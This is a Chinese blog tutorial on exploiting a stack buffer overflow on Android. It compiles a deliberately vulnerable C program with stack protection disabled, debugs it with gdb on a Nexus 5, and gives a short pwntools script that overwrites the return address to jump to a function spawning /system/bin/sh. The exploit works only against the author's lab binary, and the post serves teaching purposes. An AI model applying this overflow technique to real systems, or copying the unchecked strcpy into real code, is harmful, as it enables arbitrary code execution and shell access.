Android 栈溢出攻击—[2]调试分析

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/txx_683/article/details/53817500

上一篇讲解了栈溢出攻击的基础原理,该篇作为基础原理的一个延展,通过调试分析一个简单的栈溢出漏洞,加深对栈溢出原理的理解。

调试环境

  • ubuntu 14.04:调试平台
  • AOSP Prebuilt:AOSP仓库包含预编译好的工具链,用里面的GDB来对C程序进行调试。
  • LG Nexus 5:运行C程序的测试机。

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
    system("/system/bin/sh");
}


void mPrint(char* str , int len)
{
    write(STDOUT_FILENO, str, len);

}

void function(char* str) {
    char buf[128];
    strcpy(buf , str);
}

int main(int argc, char** argv) {
    char buf[256];
    if (argc==2&&strcmp("passwd",argv[1])==0)
        callsystem();
    mPrint("stack overflow example !\n", 25);
    read(STDIN_FILENO, buf, 256);
    mPrint("call vulnerable function !\n" , 27);   
    function(buf);
}

为了更好的理解栈溢出原理,在编译程序时通过在Application.mk并加入APP_CFLAGS += -fno-stack-protector选项去掉栈保护防御机制:

APP_ABI := armeabi
APP_CFLAGS += -fno-stack-protector

通过ndk-build编译后推送到手机中准备进行调试,具体过程详见搭建Android系统C程序调试环境

搭建环境

首先,利用pattern.py来生成150个字节的测试字符串:

root@Tangxx:~/toos# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

通过另一个python脚本负责发送测试字符串触发栈溢出漏洞:

#!/usr/bin/env python
from pwn import *

p = remote('127.0.0.1',10001)

p.recvuntil('\n')

raw_input()

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"

p.send(payload)

p.interactive()

为了简化调试过程,为常用的操作建立Makefile(在jni目录下)文件:

all: build

build:
    ndk-build NDK_DEBUG=1

push:
    adb shell rm /data/local/tmp/level6
    adb push ../libs/armeabi/level6 /data/local/tmp

socat:
    adb shell ./data/local/tmp/socat TCP4-LISTEN:10001 EXEC:./data/local/tmp/level6

test: 
    python /root/ndk_workspace/study-ROP/exp/test.py

exp:
    python /root/ndk_workspace/study-ROP/exp/level6.py

clean:
    rm -rf ../libs
    rm -rf ../obj

编译、推送并绑定端口:

root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make build
ndk-build NDK_DEBUG=1
make[1]: Entering directory `/root/ndk_workspace/study-ROP/level6/jni'
[armeabi] Gdbserver      : [arm-linux-androideabi-4.6] libs/armeabi/gdbserver
[armeabi] Gdbsetup       : libs/armeabi/gdb.setup
[armeabi] Compile thumb  : level6 <= level6.c
[armeabi] Executable     : level6
[armeabi] Install        : level6 => libs/armeabi/level6
make[1]: Leaving directory `/root/ndk_workspace/study-ROP/level6/jni'
root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make push
adb shell rm /data/local/tmp/level6
adb push ../libs/armeabi/level6 /data/local/tmp
172 KB/s (9496 bytes in 0.053s)
root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make socat
adb shell ./data/local/tmp/socat TCP4-LISTEN:10001 EXEC:./data/local/tmp/level6

运行测试脚本:

root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make test
python /root/ndk_workspace/study-ROP/exp/test.py
[+] Opening connection to 127.0.0.1 on port 10001: Done

确定进程ID:

root@hammerhead:/data/local/tmp # ps | grep "level"                            
shell     16075 16073 848    164   c0906808 b6edc2c8 S ./data/local/tmp/level6

启动GDB服务端:

root@Tangxx:~/android_source/android_442# adb shell su -c /data/local/tmp/gdbserver --attach tcp:31337 16075
Attached; pid = 16075
Listening on port 31337

启动GDB客户端:

root@Tangxx:~/android_source/android_442/gn-gdb# arm-eabi-gdb -q -x script.gdb level6 
Reading symbols from /root/android_source/android_442/gn-gdb/level6...done.
warning: Could not load shared library symbols for 2 libraries, e.g. libstdc++.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
warning: Breakpoint address adjusted from 0xb6f21bf9 to 0xb6f21bf8.
read () at bionic/libc/arch-arm/syscalls/read.S:9
9       swi     #0
(gdb) 

调试分析

设置断点让程序停在漏洞函数function调用位置:

(gdb)  b /root/ndk_workspace/study-ROP/level6/jni/level6.c:29
Breakpoint 1 at 0x8630: file /root/ndk_workspace/study-ROP/level6/jni/level6.c, line 29.
(gdb) c
Continuing.

Breakpoint 1, main (argc=1, argv=0xbe91aa44) at /root/ndk_workspace/study-ROP/level6/jni/level6.c:29
29      function(buf);
(gdb)

进入反编译模式调试function:

这里写图片描述

function函数的反汇编:

0x857c <function>       push   {r11, lr}        ;创建栈帧,保存函数返回地址lr和环境变量r11
0x8580 <function+4>     add    r11, sp, #4
0x8584 <function+8>     sub    sp, sp, #136     ;在栈上为局部变量char buf[128]分配空间
0x8588 <function+12>    str    r0, [r11, #-136] ; 将function函数参数str地址保存在栈中
0x858c <function+16>    sub    r3, r11, #132    ; 获取str字符串的开始地址
0x8590 <function+20>    mov    r0, r3           ;strcpy函数的第二个参数str地址
0x8594 <function+24>    ldr    r1, [r11, #-136] ;strcpy函数的第一个参数buf地址
0x8598 <function+28>    bl     0x843c           ;调用strcpy触发栈溢出 
0x859c <function+32>    sub    sp, r11, #4      ;调整栈平衡
0x85a0 <function+36>    pop    {r11, pc}        ;恢复环境变量,并设置函数返回地址到PC中

首先确定function函数的栈基地址:

(gdb) i r sp
sp             0xbe91a900       0xbe91a900

调用strcpy函数前的栈:
这里写图片描述

调用strcpy函数后的栈:
这里写图片描述

最终测试字符串溢出并覆盖了function的返回地址,为了确定测试字符串的哪4个字符覆盖的返回地址,可通过pattern.py来计算:

root@Tangxx:~/toos# python pattern.py offset 0x41346541
hex pattern decoded as: Ae4A
132

定位到测试字符串的溢出点后,实际上我们已经劫持了PC指针,也可以说我们已经劫持了软件的正常执行流程,接下来就是让程序(其实是CPU)来执行“邪恶代码”。

首先,需要解决两个问题:1)我们如何把“邪恶代码”布置(最好是任意写)到内存的某个地址。2)由于ASLR防御机制的存在,在1)我们布置在内存中的“邪恶代码”实际上是处于飘忽不定的状态,必须要解决如何在栈溢出时能够找到“邪恶代码”并控制PC指向该地址。

在实际的漏洞中要回答上面两个问题往往是很困难,需要使用一些利用技术或者和其他漏洞进行配合,比如,可以利用Ret2Lib或ROP技术在现有动态库中来找到或拼凑“邪恶代码”;利用堆喷射技术“地毯轰炸”式定位“邪恶代码”;利用信息泄露漏洞“精准打击”式定位“邪恶代码”。这里只是抛砖引玉不打算展开具体讨论和实现,本文只是简单的假设不存在ASLR机制并利用程序中已有的函数callsystem来获取shell。

接下来,为了让栈溢出后PC指向callsystem函数,首先找到callsystem函数的地址0x852c:
这里写图片描述

由于编译时没有添加PIE编译选项,所以程序未开启ASLR,每次启动时代码区地址固定不变。

最后编写这个简单例子的利用exp:

#!/usr/bin/env python
from pwn import *

p = remote('127.0.0.1',10001)

p.recvuntil('\n')

callsystemaddr = 0x0000852c
#PC point to callsystemaddr
payload =  'A'*132 + p32(callsystemaddr)

p.send(payload)

p.interactive()

运行exp:

root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make exp
python /root/ndk_workspace/study-ROP/exp/level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
call vulnerable function !
$ ls
acct
cache
charger
config
......

参考资料

http://drops.wooyun.org/papers/11390


展开阅读全文

没有更多推荐了,返回首页